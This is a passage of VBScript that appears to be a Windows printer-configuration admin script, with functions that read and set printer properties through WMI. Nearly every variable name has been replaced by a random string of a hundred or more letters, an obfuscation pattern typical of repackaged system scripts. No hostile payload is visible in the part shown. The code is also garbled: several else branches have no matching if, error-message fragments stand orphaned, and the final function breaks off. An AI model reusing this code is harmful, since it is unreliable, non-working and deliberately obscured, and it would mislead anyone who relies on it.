wscript.echo L_Text_Msg_Printer11_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Parameters

wscript.echo L_Text_Msg_Printer13_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & CStr(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Priority)

wscript.echo L_Text_Msg_Printer14_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & CStr(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DefaultPriority)

strStart = Mid(CStr(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.StartTime), 9, 4)

strEnd = Mid(CStr(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.UntilTime), 9, 4)

if strStart <> "" and strEnd <> "" then

wscript.echo L_Text_Msg_Printer15_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)

wscript.echo L_Text_Msg_Printer16_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)

else

wscript.echo L_Text_Msg_General05_Text

end if

strAttributes = L_Text_Msg_Printer12_Text

if mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Direct then

strAttributes = strAttributes + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg + L_Text_Msg_Attrib01_Text

end if

wscript.echo strAttributes

wscript.echo

wscript.echo L_Text_Msg_General10_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & PrnStatusToString(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PrinterStatus)

wscript.echo L_Text_Msg_General11_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & ExtPrnStatusToString(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.ExtendedPrinterStatus)

wscript.echo L_Text_Msg_General12_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & DetectedErrorStateToString(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DetectedErrorState)

wscript.echo L_Text_Msg_General13_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & ExtDetectedErrorStateToString(mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.ExtendedDetectedErrorState)

QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM

else

wscript.echo L_Text_Msg_General04_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kPrinterName) & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& Err.Description

call LastError()

end if

GetPrinter = QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve

end function

function SetPrinter(oParamDict)

on error resume next

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, VmKOffTvYHHkaXeCsqpDGxwDGmAvOlFqskdwyAstxqzObHuuzWWAQduNelBucvsXMTzwrAXdwnIMjCMOXgKtvuyuKwQvZemeUgnnugmajzlUDIudQXIujjoSSLnzTUMcuwWlzFAOjYNULqCCwymjZtKkocXiCqZLhpDitjrqdqGqFnzCmVxnqPJrEfPKbGjtudvaLldt & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kServerName)

YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw, cHbDhlyYvUcfaqnMthMtAoPmmHZuGtODexZdmOCbckDUxzfWudpSeXjjOKvsXITQMkUXgbeLMhwXzAyzudgoJjWYqQZjXjdXrXAzcqXacWyyHqphrndScAAINRnTfeGXPpFVpTvcPFDLymHmgmMYOGHzRnbeGhvIqoKsNQFJsRCuoDvJTUJygHBXPUuxeOQQQifPfcKm & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & oParamDict.Item(kPrinterName)

dim strServer

strServer = oParamDict.Item(kServerName)

strNewName = oParamDict.Item(kNewPrinterName)

set mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz = bSpUXhgdKNeaCBpMeCzMeNbmXrmrMvJWdNRerjkZUrIjIaQOjvkVLznsRnooCXpiaPgTtPwThqqjbmJQkWDeXbGlmKgXBSxetFPmMBrHCqTiPbFKVJTAvNgOtqZWSUOEXvWJVhdUAJuHqNgHWALZgfUZIZZfmPounwjXhiDYHGalGZTDVRhYOBGLDGNujjixoklFhFxA.Get("Win32_Printer='" & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & "'")

else

SetPrinter = sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN

exit function

end if

if oParamdict.Exists(kPortName) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PortName = oParamDict.Item(kPortName) end if

if oParamdict.Exists(kDriverName) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DriverName = oParamDict.Item(kDriverName) end if

if oParamdict.Exists(kShareName) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.ShareName = oParamDict.Item(kShareName) end if

if oParamdict.Exists(kLocation) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Location = oParamDict.Item(kLocation) end if

if oParamdict.Exists(kComment) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Comment = oParamDict.Item(kComment) end if

if oParamdict.Exists(kDataType) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PrintJobDataType = oParamDict.Item(kDataType) end if

if oParamdict.Exists(kSepFile) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.SeparatorFile = oParamDict.Item(kSepfile) end if

if oParamdict.Exists(kParameters) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Parameters = oParamDict.Item(kParameters) end if

if oParamdict.Exists(kPriority) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Priority = oParamDict.Item(kPriority) end if

if oParamdict.Exists(kDefaultPriority) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DefaultPriority = oParamDict.Item(kDefaultPriority) end if

if oParamdict.Exists(kPrintProc) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.PrintProc = oParamDict.Item(kPrintProc) end if

if oParamdict.Exists(kStartTime) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.StartTime = oParamDict.Item(kStartTime) end if

if oParamdict.Exists(kUntilTime) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.UntilTime = oParamDict.Item(kUntilTime) end if

if oParamdict.Exists(kQueued) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Queued = oParamDict.Item(kQueued) end if

if oParamdict.Exists(kDirect) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Direct = oParamDict.Item(kDirect) end if

if oParamdict.Exists(kShared) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Shared = oParamDict.Item(kShared) end if

if oParamdict.Exists(kHidden) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Hidden = oParamDict.Item(kHidden) end if

if oParamdict.Exists(kEnabledevq) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if

if oParamdict.Exists(kKeepPrintedJobs) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if

if oParamdict.Exists(kDoCompleteFirst) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if

if oParamdict.Exists(kWorkOffline) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.WorkOffline = oParamDict.Item(kWorkOffline) end if

if oParamdict.Exists(kEnableBidi) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.EnableBidi = oParamDict.Item(kEnableBidi) end if

if oParamdict.Exists(kRawonly) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.RawOnly = oParamDict.Item(kRawonly) end if

if oParamdict.Exists(kPublished) then mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Published = oParamDict.Item(kPublished) end if

mQhnzCCpywetfacKEXiqJodVeSkRmjvpCdYhCNEwYQUWkIfPgSZqTXrPtPBryPldvcGdVINhPznQkkgzFegHCOfFXfpMgRDWgGtVMwRnUYqPLpvBpoYhSDhYVLkInFWhRLGGBAetQBPIGpkOvdZfGTctnOvvUvvvySQaybNKXfOzwkBpkzcDdtWWOSijGperBYlisBbz.Put_(kFlagUpdateOnly)

wscript.echo L_Text_Msg_General06_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr

QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM

else

wscript.echo L_Text_Msg_General07_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & cHswxplbeUMcXjWovjOvFkMmJLVGjwlwdxnaFecyJYOXqaduaiymjYZmylRJyXrBTphDWCLthUOzdrbzEnBlrFGHMlOrOlpJHEbXWQnjIFImBXMaQCWhANCNpJFVprkyDXNHcDCIznJbGPWtCHfLAeDplpHtIePXHfutmDohuRCXQjxVrwItzaQvFJnhBcgZHDbKieGr & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& Err.Description

call LastError()

end if

else

& Err.Description

call LastError()

end if

SetPrinter = QQTvdszaEjschGbgdsGuoHNHfTRidwsOIUYdZCqkUpxwpFxGpcGReKNbJxLpGLmnezpZzOlzzeFBfdtaucuVQCFbhxlQnPxVBUnByqcoORWCxLqlniFCOTpxpKJixYPDKJJAJPoYFzLGpifsAgkmIBbeHglqUPaEsSgTCxZUkqLqAtdgVGxEbxzKskLhwvPiMobCSjve

end function

function PrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

case 2

case 3

